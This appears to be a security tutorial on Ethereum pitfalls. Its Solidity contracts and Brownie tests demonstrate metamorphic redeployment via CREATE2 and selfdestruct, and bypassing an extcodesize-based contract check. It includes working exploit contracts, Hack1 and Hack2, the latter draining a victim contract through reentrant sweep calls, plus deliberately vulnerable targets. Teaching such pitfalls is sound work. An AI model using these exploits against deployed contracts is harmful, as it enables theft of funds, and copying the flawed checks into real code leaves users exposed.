Pitfalls of Using CREATE, CREATE2 and EXTCODESIZE Opcodes

pragma solidity 0.8.16;


/**
 * @title ContractOne
 * @notice This is the first implementation of an example metamorphic contract.
 */
contract ContractOne {
  uint256 private _x;

  /**
   * @dev test function
   * @return value  1 once initialized (otherwise 0)
   */
  function test() external view returns (uint256 value) {
    return _x;
  }

  /**
   * @dev initialize function
   */
  function initialize() public {
    _x = 1;
  }

  /**
   * @dev destroy function, it allows for the metamorphic contract to be redeployed.
   */
  function destroy() public {
    selfdestruct(payable(msg.sender));
  }
}

pragma solidity 0.8.16;
/*
 * @title ContractTwo
 * @notice This is the second implementation of an example metamorphic contract.
 */
contract ContractTwo {
  event Paid(uint256 amount);

  uint256 private _x;


  function initialize() public {
  }
  /**
   * @dev Payable fallback function that emits an event logging the payment.
   */
  receive () external payable {
    if (msg.value > 0) {
      emit Paid(msg.value);
    }
  }

  /**
   * @dev Test function
   * @return value  0 - storage is NOT carried over from the first implementation.
   */
  function test() external view returns (uint256 value) {
    return _x;
  }
}

import pytest
from brownie import ContractOne, ContractTwo

init_code_hash = '0x5860208158601c335a63aaf10f428752fa158151803b80938091923cf3'

def test_deploy(sender, metamorphic):

    assert metamorphic._metamorphicContractInitializationCode() == init_code_hash
    
    # deploy ContractOne
    tx = metamorphic.deployMetamorphicContract(sender.address + '000000000000000000000000', ContractOne.bytecode, '0x8129fc1c', {"from": sender})

    deployed_address = tx.events['Metamorphosed']['metamorphicContract']

    deployed_contract = ContractOne.at(deployed_address)

    assert deployed_contract.test() == 1
    
    # self-destruct ContractOne
    deployed_contract.destroy({"from": sender})
    
    # deploy ContractTwo
    tx = metamorphic.deployMetamorphicContract(sender.address + '000000000000000000000000', ContractTwo.bytecode, b"", {"from": sender})

    deployed_address_new = tx.events['Metamorphosed']['metamorphicContract']

    deployed_contract_new = ContractTwo.at(deployed_address_new)

    assert deployed_contract_new.test() == 0
    
    # contract redeployed
    assert deployed_address == deployed_address_new

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;

contract Target2 {
    function isContract(address account) public view returns (bool) {
        // This method relies on extcodesize, which returns 0 for contracts in
        // construction, since the code is only stored at the end of the
        // constructor execution.
        uint size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

}

contract SimpleContract2 {
    bool public isContract;
    address public addr;
    address public target;
    uint256 public balance;

    receive () external payable {
        if (msg.value > 0) {
            balance += msg.value;
        }
    }


    // When a contract is being created, code size (extcodesize) is 0.
    // This will bypass the isContract() check.
    constructor(address _target) payable  {
        target = _target;
    }

    function setAddr(address _addr) external {
        require(!Target2(target).isContract(_addr), "no contract allowed");
        addr = _addr;
    }
        
    // Sweep ether from the contract only for user
    function sweep(uint256 _value) external {
       require(msg.sender == addr, "no allowed address");
       
        // if we have balance sent to user
       if (balance <= _value) {
            _value = balance;
       }

        if (_value > 0) {

            balance -= _value;

            (bool sent,) = payable(addr).call{value: _value}("");
        }
    }
}

contract Hack2 {
    address public hacker;

    function setHacker(address _hacker) external {
        hacker = _hacker;
    }

    receive () external payable {
        if (msg.value > 0) {
            payable(hacker).send(msg.value);
            (bool success, bytes memory data) = msg.sender.call(abi.encodeWithSignature("sweep(uint256)", msg.value));

            require(success, "no success");
        }
    }

    function drain(address _contract) external {
        (bool success, bytes memory data) = _contract.call(abi.encodeWithSignature("sweep(uint256)", 0.1 ether));

        require(success, "no success");
    }
}

import pytest

from brownie import Target2

@pytest.fixture
def target_2(Target2, sender):
    target_2 = sender.deploy(Target2)

    yield target_2


@pytest.fixture
def target_2(Target2, sender):
    target_2 = sender.deploy(Target2)

    yield target_2

from brownie import SimpleContract2, Hack2
from brownie.network import accounts

init_code_hash = '0x5860208158601c335a63aaf10f428752fa158151803b80938091923cf3'


def test_hack_2(sender, metamorphic, target_2, hacker_1, hacker_2, SimpleContract2, Hack2):
    
    # get Addr
    addr = metamorphic.findMetamorphicContractAddress(sender.address + '000000000000000000000000')

    sender.transfer(addr, "1 ether")

    addr_account = accounts.at(addr, force=True)

    assert addr_account.balance() == 1e18
    
    # deploy SimpleContract2
    simple_contract_2 = sender.deploy(SimpleContract2, target_2.address)
    
    # set Addr as addr as EOA
    simple_contract_2.setAddr(addr)
    
    # deploy code to addr
    tx = metamorphic.deployMetamorphicContract(sender.address + '000000000000000000000000', Hack2.bytecode, b"", {"from": sender})

    deployed_addr = tx.events['Metamorphosed']['metamorphicContract']

    assert deployed_addr == addr

    deployed_addr_account = accounts.at(addr, force=True)

    assert deployed_addr_account .balance() == 1e18

    hack_2 = Hack2.at(deployed_addr)

    hack_2.setHacker(hacker_1, {"from": sender})

    sender.transfer(simple_contract_2, "1 ether")

    balance_hacker_1_before = hacker_1.balance()
    
    # drain SimpleContract2
    tx = hack_2.drain(simple_contract_2, {"from": hacker_2})

    simple_contract_2_account = accounts.at(simple_contract_2, force=True)

    assert simple_contract_2_account.balance() == 0
    
    balance_hacker_1_after = hacker_1.balance()

    assert balance_hacker_1_before < balance_hacker_1_after

function isContract(address account) public view returns (bool) {
        uint size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;

contract Target1 {
    function isContract(address account) public view returns (bool) {
        // This method relies on extcodesize, which returns 0 for contracts in
        // construction, since the code is only stored at the end of the
        // constructor execution.
        uint size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    bool public pwned = false;

    function protected() external {
        require(!isContract(msg.sender), "no contract allowed");
        pwned = true;
    }
}

contract FailedAttack1 {
    // Attempting to call Target.protected will fail,
    // Target block calls from the contract
    function pwn(address _target) external {
        // This will fail
        Target1(_target).protected();
    }
}

contract Hack1 {
    bool public isContract;
    address public addr;

    // When a contract is being created, code size (extcodesize) is 0.
    // This will bypass the isContract() check
    constructor(address _target) {
        isContract = Target1(_target).isContract(address(this));
        addr = address(this);
        // This will work
        Target1(_target).protected();
    }
}